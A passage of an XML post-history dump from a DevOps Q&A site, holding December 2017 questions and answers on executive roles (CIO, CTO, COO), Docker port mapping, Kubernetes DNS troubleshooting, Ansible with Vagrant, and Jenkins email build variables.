organization&#xD;&#xA;&#xD;&#xA;and&#xD;&#xA;&#xD;&#xA;&gt; CTOs place emphasis on the external customers to the organization and&#xD;&#xA;&gt; focus on how different technology can make the company more&#xD;&#xA;&gt; profitable.&#xD;&#xA;&#xD;&#xA;[COO][3]&#xD;&#xA;&#xD;&#xA;&gt; The COO is responsible for the daily operation of the company, and&#xD;&#xA;&gt; routinely reports to the highest ranking executive, usually the chief&#xD;&#xA;&gt; executive officer (CEO). The COO is usually the second in command at&#xD;&#xA;&gt; the firm, especially if the highest ranking executive is the Chairman&#xD;&#xA;&gt; and CEO.&#xD;&#xA;&#xD;&#xA;**Discussion**&#xD;&#xA;&#xD;&#xA;As DevOps is closing the gap between several disciplines, e.g. Development, Operations, Quality Assurance one could argue that the CIO is accountable for DevOps as all these parties are internal customers. However, as a CTO is also focused on the outside world, one could also say that the CTO is accountable as he or she could implement DevOps because he or she heard in the outside world that this discipline was beneficial for some companies.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://en.wikipedia.org/wiki/Chief_information_officer&#xD;&#xA;  [2]: https://en.wikipedia.org/wiki/Chief_technology_officer&#xD;&#xA;  [3]: https://en.wikipedia.org/wiki/Chief_operating_officer" ContentLicense="CC BY-SA 3.0" />
  <row Id="8857" PostHistoryTypeId="1" PostId="2839" RevisionGUID="2f253db8-1088-49c1-bf90-8c2905876742" CreationDate="2017-12-09T15:45:46.573" UserId="210" Text="What Chief is accountable for DevOps?" ContentLicense="CC BY-SA 3.0" />
  <row Id="8858" PostHistoryTypeId="3" PostId="2839" RevisionGUID="2f253db8-1088-49c1-bf90-8c2905876742" CreationDate="2017-12-09T15:45:46.573" UserId="210" Text="&lt;culture&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="8859" PostHistoryTypeId="2" PostId="2840" RevisionGUID="95db7596-0656-488a-b1f5-c7b3fb2fbd5e" CreationDate="2017-12-09T16:03:04.053" UserId="210" Text="According to this [blog][1], one could become a CIO if one meets the following criteria:&#xD;&#xA;&#xD;&#xA; 1. BSc in Computer Science&#xD;&#xA; 2. Proven experience in Project Management&#xD;&#xA; 3. Specialized in an certain area by becoming certified&#xD;&#xA; 4. IT Governance and Risk Management&#xD;&#xA; 5. MBA&#xD;&#xA;&#xD;&#xA;**Discussion**&#xD;&#xA;&#xD;&#xA;I wonder whether the above mentioned criteria would be sufficient to become a CIO. I think that soft skills are important as well to be promoted to such a function right? I do not think whether only mastering hard skills would be sufficient to become a CIO.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.tomsitpro.com/articles/cio-career-plan,1-997.html" ContentLicense="CC BY-SA 3.0" />
  <row Id="8860" PostHistoryTypeId="1" PostId="2840" RevisionGUID="95db7596-0656-488a-b1f5-c7b3fb2fbd5e" CreationDate="2017-12-09T16:03:04.053" UserId="210" Text="How to become a CIO?" ContentLicense="CC BY-SA 3.0" />
  <row Id="8861" PostHistoryTypeId="3" PostId="2840" RevisionGUID="95db7596-0656-488a-b1f5-c7b3fb2fbd5e" CreationDate="2017-12-09T16:03:04.053" UserId="210" Text="&lt;culture&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="8862" PostHistoryTypeId="2" PostId="2841" RevisionGUID="fce7a2e3-da34-4181-8e30-4b65ef0bcd0d" CreationDate="2017-12-09T16:10:30.477" UserId="210" Text="What I have heard of Chiefs is the following:&#xD;&#xA;&#xD;&#xA;**Pros**:&#xD;&#xA;&#xD;&#xA; 1. Bigger influence of decisions that will be made&#xD;&#xA;&#xD;&#xA;**Cons**:&#xD;&#xA;&#xD;&#xA; 1. Less time to be technical. Most of the chiefs told me that they only can spend a maximum of 10% of their time to be technical.&#xD;&#xA;&#xD;&#xA;What are other pros and cons of being one of the Chiefs or are some chiefs, e.g. CTO, CIO, COO spending more time to fix technical problems by themselves?" ContentLicense="CC BY-SA 3.0" />
  <row Id="8863" PostHistoryTypeId="1" PostId="2841" RevisionGUID="fce7a2e3-da34-4181-8e30-4b65ef0bcd0d" CreationDate="2017-12-09T16:10:30.477" UserId="210" Text="What are Pros and Cons of being a CIO?" ContentLicense="CC BY-SA 3.0" />
  <row Id="8864" PostHistoryTypeId="3" PostId="2841" RevisionGUID="fce7a2e3-da34-4181-8e30-4b65ef0bcd0d" CreationDate="2017-12-09T16:10:30.477" UserId="210" Text="&lt;culture&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="8865" PostHistoryTypeId="2" PostId="2842" RevisionGUID="b574d521-7f50-4f91-832f-6bd704997957" CreationDate="2017-12-09T16:16:07.177" UserId="210" Text="If for example the number of complex Java issues is over growing exponentially on the backlog this could be a sign to hire a Senior Java Engineer, but what are signs for hiring a CIO?" ContentLicense="CC BY-SA 3.0" />
  <row Id="8866" PostHistoryTypeId="1" PostId="2842" RevisionGUID="b574d521-7f50-4f91-832f-6bd704997957" CreationDate="2017-12-09T16:16:07.177" UserId="210" Text="What are signs to hire a CIO?" ContentLicense="CC BY-SA 3.0" />
  <row Id="8867" PostHistoryTypeId="3" PostId="2842" RevisionGUID="b574d521-7f50-4f91-832f-6bd704997957" CreationDate="2017-12-09T16:16:07.177" UserId="210" Text="&lt;culture&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="8868" PostHistoryTypeId="2" PostId="2843" RevisionGUID="23717995-5294-412b-a6a4-4a337f63c494" CreationDate="2017-12-09T18:02:23.713" UserId="5657" Text="Assuming I have Kubernetes deployed via Rancher and Jenkins is building new images and pushing them to DockerHub upon check-in of new code to GitHub, how do I automate getting new images deployed?&#xA;&#xA;Another way to ask the question might be, “I used to use Octopus to manage my deployments. Is there something similar built in to Kubernetes or Rancher?” Ultimately, it’s this last gap that I’m struggling with." ContentLicense="CC BY-SA 3.0" />
  <row Id="8869" PostHistoryTypeId="1" PostId="2843" RevisionGUID="23717995-5294-412b-a6a4-4a337f63c494" CreationDate="2017-12-09T18:02:23.713" UserId="5657" Text="How do I automate deployments with Kubernetes?" ContentLicense="CC BY-SA 3.0" />
  <row Id="8870" PostHistoryTypeId="3" PostId="2843" RevisionGUID="23717995-5294-412b-a6a4-4a337f63c494" CreationDate="2017-12-09T18:02:23.713" UserId="5657" Text="&lt;docker&gt;&lt;deployment&gt;&lt;kubernetes&gt;&lt;rancher&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="8873" PostHistoryTypeId="5" PostId="2825" RevisionGUID="86a7284e-bc01-4a13-a0cb-7355c161fb7e" CreationDate="2017-12-10T07:46:47.393" UserId="5639" Comment="edited body" Text="I know Puppet from (limited) experience and have noticed that in configuration management there is now a strong trend towards Ansible.&#xD;&#xA;&#xD;&#xA;On the one hand, I understand that Ansible does not require an agent, because it makes intelligent use of `ssh`. &#xD;&#xA;&#xD;&#xA;On the other hand, these are features have come to like about Puppet:&#xD;&#xA;&#xD;&#xA; - access to system-wide configuration state and history (PuppetDB) via REST API&#xD;&#xA; - ability to keep backups of overwritten files (filebuckets)&#xD;&#xA; - ability to encrypt part of the Hiera configurations (`.eyaml`)&#xD;&#xA;&#xD;&#xA;Among these, PuppetDB seems to me the most important and useful (e.g. for integration with other tools). Therefore my question is this: Does Ansible have something akin to PuppetDB, i.e. a component that offers an API where it could e.g. be asked &quot;What packages are installed on host *x*?&quot; or &quot;On which hosts is package *y* installed?&quot;&#xD;&#xA;&#xD;&#xA;(This question was migrated over from [StackOverflow][1]).&#xD;&#xA;&#xD;&#xA;**UPDATE** Significant downside of Puppet it my experience so far: Not so much the fact that it requires an agent (from what I have seen, Ansible's use of Python also introduces an agent of sorts in the form of a Python interpreter ;-), but that it wants its agent to act as `root` only and always.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://stackoverflow.com/questions/47688598/does-ansible-have-component-akin-to-puppetdb" ContentLicense="CC BY-SA 3.0" />
  <row Id="8874" PostHistoryTypeId="2" PostId="2845" RevisionGUID="99a01280-1ca4-462c-ba95-3ea862e231ee" CreationDate="2017-12-10T09:04:57.937" UserId="4175" Text="The sign to hire a CIO is that your CEO is not able to handle the relevant tasks on his own, plain and simple. The reasons for that may be manifold - maybe he has too much on his plate, as the company grows, or he does not have a sufficiently technical background, etc." ContentLicense="CC BY-SA 3.0" />
  <row Id="8875" PostHistoryTypeId="2" PostId="2846" RevisionGUID="e14f63fb-57eb-40a4-8324-156cc21a12e3" CreationDate="2017-12-10T09:10:24.073" UserId="4175" Text="A CIO is part of the company leadership. His primary duties is to make policies, create organization (i.e., structure the company, at least the part that reports to him), make strategic decisions etc. In a large company, many technical people report directly or indirectly to the CIO; if there are technical problems to solve, he is supposed to hire people to solve those problems, or - more likely -&#xD;&#xA;have his direct reports hire those people.&#xD;&#xA;&#xD;&#xA;I would be *very* wary if a CIO starts fixing technical problems himself. This probably would mean that he has trouble delegating, or trusting his employees.&#xD;&#xA;&#xD;&#xA;There may be a phase in a very small company (like 5-10) where you might have some kind of senior technical person who starts to grow into the CIO role. But that should certainly be a path that develops itself (often it is quite obvious who is a good fit for that role and who isn't), and nothing where you start pondering whether you want to become CIO or not out of the blue. " ContentLicense="CC BY-SA 3.0" />
  <row Id="8876" PostHistoryTypeId="2" PostId="2847" RevisionGUID="fb6fdbcb-bb0b-4fce-804b-21346e28f871" CreationDate="2017-12-10T10:35:04.097" UserId="210" Text="The tomcat should be reachable on part 8080 instead of 8888.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;[Documentation][1]&#xD;&#xA;&#xD;&#xA;&gt; Publish or expose port (-p, –expose)&#xD;&#xA;&gt; &#xD;&#xA;&gt;     $ docker run -p 127.0.0.1:80:8080 ubuntu bash&#xD;&#xA;&gt; &#xD;&#xA;&gt; This binds port 8080 of the container to port 80 on 127.0.0.1 of the&#xD;&#xA;&gt; host machine. The Docker User Guide explains in detail how to&#xD;&#xA;&gt; manipulate ports in Docker.&#xD;&#xA;&gt; &#xD;&#xA;&gt;     $ docker run --expose 80 ubuntu bash&#xD;&#xA;&gt; &#xD;&#xA;&gt; This exposes port 80 of the container without publishing the port to&#xD;&#xA;&gt; the host system’s interfaces.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;In the question the following was defined:&#xD;&#xA;&#xD;&#xA;&gt; docker run -it --rm -p 8888:8080 tomcat:8.0&#xD;&#xA;&#xD;&#xA;This means that 8080 should be reachable from outside.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.docker.com/engine/reference/commandline/run/" ContentLicense="CC BY-SA 3.0" />
  <row Id="8877" PostHistoryTypeId="5" PostId="2847" RevisionGUID="e05a6fe0-c78f-4b9a-8225-7ddd98305d14" CreationDate="2017-12-10T10:40:22.183" UserId="210" Comment="deleted 64 characters in body" Text="The tomcat is reachable on port 8080 instead of 8888 when the following is defined in the question&#xD;&#xA;&#xD;&#xA;&gt;     docker run -it --rm -p 8888:8080 tomcat:8.0&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;[Documentation][1]&#xD;&#xA;&#xD;&#xA;&gt; Publish or expose port (-p, –expose)&#xD;&#xA;&gt; &#xD;&#xA;&gt;     $ docker run -p 127.0.0.1:80:8080 ubuntu bash&#xD;&#xA;&gt; &#xD;&#xA;&gt; This binds port 8080 of the container to port 80 on 127.0.0.1 of the&#xD;&#xA;&gt; host machine. The Docker User Guide explains in detail how to&#xD;&#xA;&gt; manipulate ports in Docker.&#xD;&#xA;&gt; &#xD;&#xA;&gt;     $ docker run --expose 80 ubuntu bash&#xD;&#xA;&gt; &#xD;&#xA;&gt; This exposes port 80 of the container without publishing the port to&#xD;&#xA;&gt; the host system’s interfaces.&#xD;&#xA;&#xD;&#xA;Based on the documentation, the first port is the internal port, i.e. 8080 and the second one, i.e. 8888 the external or exposed one.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.docker.com/engine/reference/commandline/run/" ContentLicense="CC BY-SA 3.0" />
  <row Id="8878" PostHistoryTypeId="2" PostId="2848" RevisionGUID="2eff90ee-269e-4b32-b7d8-8910f6f4f601" CreationDate="2017-12-10T10:57:05.210" UserId="210" Text="There is a comprehensive [document][1] about k8s' DNS. According to this document one could validate whether the DNS is working by running:&#xD;&#xA;&#xD;&#xA;busybox.yaml&#xD;&#xA;&#xD;&#xA;&gt;     apiVersion: v1&#xD;&#xA;&gt;     kind: Pod&#xD;&#xA;&gt;     metadata:&#xD;&#xA;&gt;       name: busybox&#xD;&#xA;&gt;       namespace: default&#xD;&#xA;&gt;     spec:&#xD;&#xA;&gt;       containers:&#xD;&#xA;&gt;       - image: busybox&#xD;&#xA;&gt;         command:&#xD;&#xA;&gt;           - sleep&#xD;&#xA;&gt;           - &quot;3600&quot;&#xD;&#xA;&gt;         imagePullPolicy: IfNotPresent&#xD;&#xA;&gt;         name: busybox&#xD;&#xA;&gt;       restartPolicy: Always&#xD;&#xA;&#xD;&#xA;and deploy it by issuing:&#xD;&#xA;&#xD;&#xA;&gt;     kubectl create -f busybox.yaml&#xD;&#xA;&#xD;&#xA;Once deployed, one could run:&#xD;&#xA;&#xD;&#xA;&gt;     kubectl get pods busybox&#xD;&#xA;&#xD;&#xA;and validate whether the DNS is working:&#xD;&#xA;&#xD;&#xA;&gt;     kubectl exec -ti busybox -- nslookup kubernetes.default&#xD;&#xA;&#xD;&#xA;There are additional validation steps that could be executed, including:&#xD;&#xA;&#xD;&#xA;&gt;     kubectl exec busybox cat /etc/resolv.conf&#xD;&#xA;&#xD;&#xA;verify the DNS policy, check whether the DNS pod runs, checking erros in the DNS pod:&#xD;&#xA;&#xD;&#xA;&gt;     kubectl logs --namespace=kube-system $(kubectl get pods --namespace=kube-system -l k8s-app=kube-dns -o name) -c kubedns&#xD;&#xA;&gt;     kubectl logs --namespace=kube-system $(kubectl get pods --namespace=kube-system -l k8s-app=kube-dns -o name) -c dnsmasq&#xD;&#xA;&gt;     kubectl logs --namespace=kube-system $(kubectl get pods --namespace=kube-system -l k8s-app=kube-dns -o name) -c sidecar&#xD;&#xA;&#xD;&#xA;does the DNS service run?&#xD;&#xA;&#xD;&#xA;&gt;     kubectl get svc --namespace=kube-system&#xD;&#xA;&#xD;&#xA;exposed DNS endpoints?&#xD;&#xA;&#xD;&#xA;&gt;     kubectl get ep kube-dns --namespace=kube-system&#xD;&#xA;&#xD;&#xA;There are also multiple known issues regarding the k8s' DNS:&#xD;&#xA;&#xD;&#xA;&gt; Linux’s libc is impossibly stuck (see this bug from 2005) with limits&#xD;&#xA;&gt; of just 3 DNS nameserver records and 6 DNS search records. Kubernetes&#xD;&#xA;&gt; needs to consume 1 nameserver record and 3 search records. This means&#xD;&#xA;&gt; that if a local installation already uses 3 nameservers or uses more&#xD;&#xA;&gt; than 3 searches, some of those settings will be lost. As a partial&#xD;&#xA;&gt; workaround, the node can run dnsmasq which will provide more&#xD;&#xA;&gt; nameserver entries, but not more search entries. You can also use&#xD;&#xA;&gt; kubelet’s --resolv-conf flag.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://kubernetes.io/docs/concepts/services-networking/dns-pod-service/#troubleshooting-tips&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="8883" PostHistoryTypeId="2" PostId="2852" RevisionGUID="cdf9baaf-cf7e-4199-b939-eed70600a009" CreationDate="2017-12-10T11:49:53.630" UserId="210" Text="According to this [documentation][1] it is possible to install ansible and run a ansible playbook by using the following snippet:&#xD;&#xA;&#xD;&#xA;&gt;     Vagrant.configure(&quot;2&quot;) do |config|&#xD;&#xA;&gt;     &#xD;&#xA;&gt;       #&#xD;&#xA;&gt;       # Run Ansible from the Vagrant Host&#xD;&#xA;&gt;       #&#xD;&#xA;&gt;       config.vm.provision &quot;ansible&quot; do |ansible|&#xD;&#xA;&gt;         ansible.playbook = &quot;playbook.yml&quot;&#xD;&#xA;&gt;       end&#xD;&#xA;&gt;     &#xD;&#xA;&gt;     end&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.vagrantup.com/docs/provisioning/ansible.html" ContentLicense="CC BY-SA 3.0" />
  <row Id="8888" PostHistoryTypeId="2" PostId="2855" RevisionGUID="a01ecc92-cf3a-4dba-b42c-9a26b1b87310" CreationDate="2017-12-10T12:05:25.663" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="8889" PostHistoryTypeId="1" PostId="2855" RevisionGUID="a01ecc92-cf3a-4dba-b42c-9a26b1b87310" CreationDate="2017-12-10T12:05:25.663" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8890" PostHistoryTypeId="2" PostId="2856" RevisionGUID="ba9ce7ce-c5d7-441d-a9f1-13b6d8c381e0" CreationDate="2017-12-10T12:05:25.663" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="8891" PostHistoryTypeId="1" PostId="2856" RevisionGUID="ba9ce7ce-c5d7-441d-a9f1-13b6d8c381e0" CreationDate="2017-12-10T12:05:25.663" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8892" PostHistoryTypeId="2" PostId="2857" RevisionGUID="08a23f02-6c5a-4aad-a9d7-08fae713bc3f" CreationDate="2017-12-10T12:31:30.997" UserId="210" Text="&gt; Are they indeed runnable in containers and this makes sense?&#xD;&#xA;&#xD;&#xA;According to this [documentation][1] it is possible to run windows in docker. Yes it could make sense as this would be comparable to the positive effects of running linux in docker. [Note that][2]:&#xD;&#xA;&#xD;&#xA;&gt; Disclaimer: This lab is still in work, and is based off of the blog,&#xD;&#xA;&gt; but you can test and leverage the example walkthroughs now, if you&#xD;&#xA;&gt; want to start experimenting. Please check back as the lab evolves.&#xD;&#xA;&#xD;&#xA;Whether it makes sense: From a Linux perspective it does not as a Windows container will be significantly larger than a Linux one at the moment. From a Windows perspective it does not make sense as well as Windows itself is not as lightweight at the moment as Linux. Imagine that one runs 50 war files on a dedicated Windows server at the moment. If one would use Windows Docker containers for that purpose then a dedicated server should be used as a base image, each war file should be run in a separate container. This means that the number of required resource would grow exponentially. I assume that the creators of the native Windows Docker container take this into account and that this issue will be solved in the future.&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;&gt; Are there other Windows native containerization scenarios?&#xD;&#xA;&#xD;&#xA;What is the definition of a microservice? One could also argue that running SQLServer and IIS are microservices if one compares it with running IIS and SQLServer and other Windows services on a Windows server instead of separately. If one compares it with running Linux in docker then one could use a windows server as a base image by defining `FROM windows` in a dockerfile and run tomcat in a Windows container instead of running it on a dedicated server.  &#xD;&#xA;&#xD;&#xA;  &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/docker/labs/blob/master/windows/windows-containers/README.md&#xD;&#xA;  [2]: https://docs.docker.com/docker-for-windows/#getting-started-with-windows-containers" ContentLicense="CC BY-SA 3.0" />
  <row Id="8893" PostHistoryTypeId="6" PostId="2054" RevisionGUID="612d3e47-918c-40d4-9664-2157e99805c0" CreationDate="2017-12-10T12:31:51.897" UserId="210" Comment="edited tags" Text="&lt;docker&gt;&lt;windows&gt;&lt;dotnet&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="8894" PostHistoryTypeId="5" PostId="1327" RevisionGUID="ed8c277d-5ff8-4982-94fa-2ad1f70cdf0a" CreationDate="2017-12-10T12:35:04.627" UserId="210" Comment="added 6 characters in body" Text="Stepping from &quot;crafted&quot; DevOps toolchains to [declarative pipelines][1] is imo next transformation step towards even more productivity which requires additional effort.&#xD;&#xA;&#xD;&#xA;Any experiences what can be the &quot;critical mass&quot; where this investment is a clear pay-off and not an overkill?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.thoughtworks.com/radar/techniques/pipelines-as-code" ContentLicense="CC BY-SA 3.0" />
  <row Id="8895" PostHistoryTypeId="2" PostId="2858" RevisionGUID="c910f8e5-7675-4595-852e-d9a6a1114441" CreationDate="2017-12-10T12:58:22.647" UserId="210" Text="**Pipeline as Code (PaC)** means that the CI/CD configuration will be stored in the VCS instead of in the CI/CD tool itself, e.g. configuring it manually by using a UI.&#xD;&#xA;&#xD;&#xA;&gt; Any experiences what can be the &quot;critical mass&quot; where this investment&#xD;&#xA;&gt; is a clear pay-off and not an overkill?&#xD;&#xA;&#xD;&#xA;Imagine that more than 100 jobs have been configured manually the last couple of years and one would like to transform all these jobs to PaC then it would mean that less resources will be available to create new features and therefor not advisable, but if one would create tasks to address this and transform a manual job to a PaC one every sprint then it could be beneficial in the long run.&#xD;&#xA;&#xD;&#xA;**Advantages of PaC** &#xD;&#xA;&#xD;&#xA;*No endless searching for configuration anymore*&#xD;&#xA;&#xD;&#xA;One advantage is that one does not have to look in various places, e.g. CI/CD tool, documentation how a CI/CD job has been configured as the relevant stuff resides in the same place as the code, i.e. VCS. &#xD;&#xA;&#xD;&#xA;*No endless and unnecessary debugging anymore*&#xD;&#xA;&#xD;&#xA;Another advantage is that someone cannot break the CI/CD job easily like it is possible when it is configured using a UI. If for example someone has to change the CI/CD could then one has to change the code in the VCS. As every code change could be tracked, it will be immediately clear who changed the pipeline and what was changed when a pipeline is broken.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="8896" PostHistoryTypeId="2" PostId="2859" RevisionGUID="445aa987-110c-4e96-a424-223e08fba85b" CreationDate="2017-12-10T14:05:30.967" UserId="5431" Text="I would like to send an email at the end of my build to inform success or failure. I'm using the email ext-plugin for Jenkins. I want the version number of the build to be the subject of the email.&#xD;&#xA;&#xD;&#xA;The problem is that the version is something that changes in each build, so I need to somehow edit an environmental variable to hold the version number each time (I have a script that save it to a file). This is the default configuration: &#xD;&#xA;[![enter image description here][1]][1]&#xD;&#xA;&#xD;&#xA;I would like to have for example, set the version number into a variable using windows batch script, like this:&#xD;&#xA;&#xD;&#xA;    rem # Loading version File number&#xD;&#xA;    set MY_BUILD_VERSION=&lt;myVersionFile.txt&#xD;&#xA;    rem # Loading content&#xD;&#xA;    set MY_BUILD_CONTENT=&lt;myContentFile.txt&#xD;&#xA;&#xD;&#xA;And using it in the email plugin, like this:&#xD;&#xA;[![enter image description here][2]][2]&#xD;&#xA;&#xD;&#xA;The problem is that the environmental variables aren't recognized outside the .bat file they are being ran from, although I'm using the envInject plugin, the documentation says that what's run from a script won't be recognize outside it.&#xD;&#xA;&#xD;&#xA;Is there any way to load data to the email plugin from a file, or any other dynamic way to load my version number dynamically?&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/lIPCv.png&#xD;&#xA;  [2]: https://i.stack.imgur.com/Jlj9Q.png" ContentLicense="CC BY-SA 3.0" />
  <row Id="8897" PostHistoryTypeId="1" PostId="2859" RevisionGUID="445aa987-110c-4e96-a424-223e08fba85b" CreationDate="2017-12-10T14:05:30.967" UserId="5431" Text="Jenkins - sending email after build with the build version as a subject" ContentLicense="CC BY-SA 3.0" />
  <row Id="8898" PostHistoryTypeId="3" PostId="2859" RevisionGUID="445aa987-110c-4e96-a424-223e08fba85b" CreationDate="2017-12-10T14:05:30.967" UserId="5431" Text="&lt;jenkins&gt;&lt;windows&gt;&lt;shell-script&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="8905" PostHistoryTypeId="2" PostId="2860" RevisionGUID="aa67e211-9153-4176-babc-6a86a078aac3" CreationDate="2017-12-11T03:56:31.693" UserId="5667" Text="First question here (i'm usually on StackOverflow)...not sure if right place (if not, please vote to move where it belongs).&#xD;&#xA;&#xD;&#xA;If we have a dev process using traditional [GitFlow](https://datasift.github.io/gitflow/IntroducingGitFlow.html) approach, what criteria should be met before a Pull Request (PR) is opened? Specifically, if the work requires manual testing/QA signoff before being _merged_ into `master`.&#xD;&#xA;&#xD;&#xA;There are two sides of the fence here:&#xD;&#xA;&#xD;&#xA;1. **PR's should _not_ be opened until the work is &quot;ready&quot;**. (ready = ready for production, pending any code reviews, which should just be based on code quality/standards). *Pros*: reviewer doesn't need to check if the work is 'ready'. It's defined by the process. *Cons*: longer time (e.g waiting for test signoff) before code is reviewed.&#xD;&#xA;2. **Open the PR, even if it's not ready**. Basically allow the QA testing &amp; code reviews to operate in parallel. *Pros*: code review and testing can operate in parallel. *Cons*: if issues are found in testing, code needs to change, even though it has already been reviewed.&#xD;&#xA;&#xD;&#xA;Thoughts on either 2 approaches, or is there an option 3? What standards/advice is there on this process?&#xD;&#xA;&#xD;&#xA;Thanks :)" ContentLicense="CC BY-SA 3.0" />
  <row Id="8906" PostHistoryTypeId="1" PostId="2860" RevisionGUID="aa67e211-9153-4176-babc-6a86a078aac3" CreationDate="2017-12-11T03:56:31.693" UserId="5667" Text="If a piece of work requires manual testing/QA, do we need to wait until opening PR?" ContentLicense="CC BY-SA 3.0" />
  <row Id="8907" PostHistoryTypeId="3" PostId="2860" RevisionGUID="aa67e211-9153-4176-babc-6a86a078aac3" CreationDate="2017-12-11T03:56:31.693" UserId="5667" Text="&lt;git&gt;&lt;process&gt;&lt;agile&gt;&lt;github&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="8908" PostHistoryTypeId="2" PostId="2861" RevisionGUID="c50a5ce5-5ec8-495a-aa58-4f7a86b62b63" CreationDate="2017-12-11T06:31:23.667" UserId="5668" Text="You should be able to pass the current params as an argument to the batch file and then assign them to a variable used in the batch file.&#xD;&#xA;You can have this step as the post-build step before you call the email plugin." ContentLicense="CC BY-SA 3.0" />
  <row Id="8909" PostHistoryTypeId="2" PostId="2862" RevisionGUID="8ca630cf-ea70-4ff1-98e9-f3df1fa5f226" CreationDate="2017-12-11T06:35:58.173" UserId="5669" Text="I am running 10 AWS EC2 instances. Each of them running different applications. I am looking for application level monitoring solution. Suppose, if Apache fails in any instance, it should notify me with logs. I know about &quot;Nagios&quot; but it is mainly for infrastructure monitoring. There are few tools for application monitoring (like, &quot;Monit&quot;) but I have to install them manually in each server, which is not possible when you are having multiple number of EC2 instances (A global set up would be better, because number of instances will keep increasing)." ContentLicense="CC BY-SA 3.0" />
  <row Id="8910" PostHistoryTypeId="1" PostId="2862" RevisionGUID="8ca630cf-ea70-4ff1-98e9-f3df1fa5f226" CreationDate="2017-12-11T06:35:58.173" UserId="5669" Text="Application monitoring in multiple EC2 instances" ContentLicense="CC BY-SA 3.0" />
  <row Id="8911" PostHistoryTypeId="3" PostId="2862" RevisionGUID="8ca630cf-ea70-4ff1-98e9-f3df1fa5f226" CreationDate="2017-12-11T06:35:58.173" UserId="5669" Text="&lt;amazon-ec2&gt;&lt;monitoring&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="8912" PostHistoryTypeId="2" PostId="2863" RevisionGUID="9dafad81-4257-43af-9122-7b19ca66312e" CreationDate="2017-12-11T08:01:21.447" UserId="5431" Text="I found a way to set environmental variables globally from a file!&#xD;&#xA;I'm using envInject for loading variables from a file.&#xD;&#xA;&#xD;&#xA;For example, lets say I have a file that is called &quot;versionNumber.txt&quot; and that it's created during the build process. Maybe I update it in every build, or any other way. then I create a prosFile that can be identified by the envInject, by running a batch script:&#xD;&#xA;&#xD;&#xA;    set /p VERSION_NUM=&lt;versionNumber.txt&#xD;&#xA;&#xD;&#xA;Let's assume my version number was 1.5.5.10. so now my VERSION_NUM equals that string.&#xD;&#xA;now VERSION_NUM has the value that I want. But it's local, it won't help me. so I rewrite it to a file in the following format (also, using a batch script):&#xD;&#xA;&#xD;&#xA;    echo VERSION_NUM=%VERSION_NUM% &gt; C:\Temp\prosFile&#xD;&#xA;&#xD;&#xA;now I have a file that contains the following content:&#xD;&#xA;&#xD;&#xA;    VERSION_NUM=1.5.5.10&#xD;&#xA;&#xD;&#xA;And now I just need to load the file using the envInject plugin:&#xD;&#xA;&#xD;&#xA;[![enter image description here][1]][1]&#xD;&#xA;&#xD;&#xA;And now I have an environmental variable named VERSION_NUM that can be used anywhere in Jenkins. But I wanted to make it the subject of my email, so I'll simply do (in windows, in linux it might be different):&#xD;&#xA;&#xD;&#xA;[![enter image description here][2]][2]&#xD;&#xA;&#xD;&#xA;That's it!&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/drZCv.png&#xD;&#xA;  [2]: https://i.stack.imgur.com/8MIwt.png" ContentLicense="CC BY-SA 3.0" />
  <row Id="8913" PostHistoryTypeId="5" PostId="2863" RevisionGUID="eab95e3e-b5c8-4d9f-b6e1-5cc6acc67150" CreationDate="2017-12-11T08:08:57.770" UserId="5431" Comment="added 33 characters in body" Text="I found a way to set environmental variables globally from a file!&#xD;&#xA;I'm using envInject for loading variables from a file.&#xD;&#xA;&#xD;&#xA;For example, lets say I have a file that is called &quot;versionNumber.txt&quot; and that it's created during the build process. Maybe I update it in every build, or any other way. then I create a prosFile that can be identified by the envInject, by running a batch script:&#xD;&#xA;&#xD;&#xA;    set /p VERSION_NUM=&lt;versionNumber.txt&#xD;&#xA;&#xD;&#xA;Let's assume my version number was 1.5.5.10. so now my VERSION_NUM equals that string.&#xD;&#xA;now VERSION_NUM has the value that I want. But it's local, it won't help me. so I rewrite it to a file in the following format (also, using a batch script):&#xD;&#xA;&#xD;&#xA;    echo VERSION_NUM=%VERSION_NUM% &gt; C:\Temp\prosFile&#xD;&#xA;&#xD;&#xA;now I have a file that contains the following content:&#xD;&#xA;&#xD;&#xA;    VERSION_NUM=1.5.5.10&#xD;&#xA;&#xD;&#xA;And now I just need to load the file using the envInject plugin:&#xD;&#xA;&#xD;&#xA;[![Loading environmental variables from &quot;prosFile&quot; file][1]][1]&#xD;&#xA;&#xD;&#xA;And now I have an environmental variable named VERSION_NUM that can be used anywhere in Jenkins. But I wanted to make it the subject of my email, so I'll simply do (in windows, in linux it might be different):&#xD;&#xA;&#xD;&#xA;[![Version Number as the email 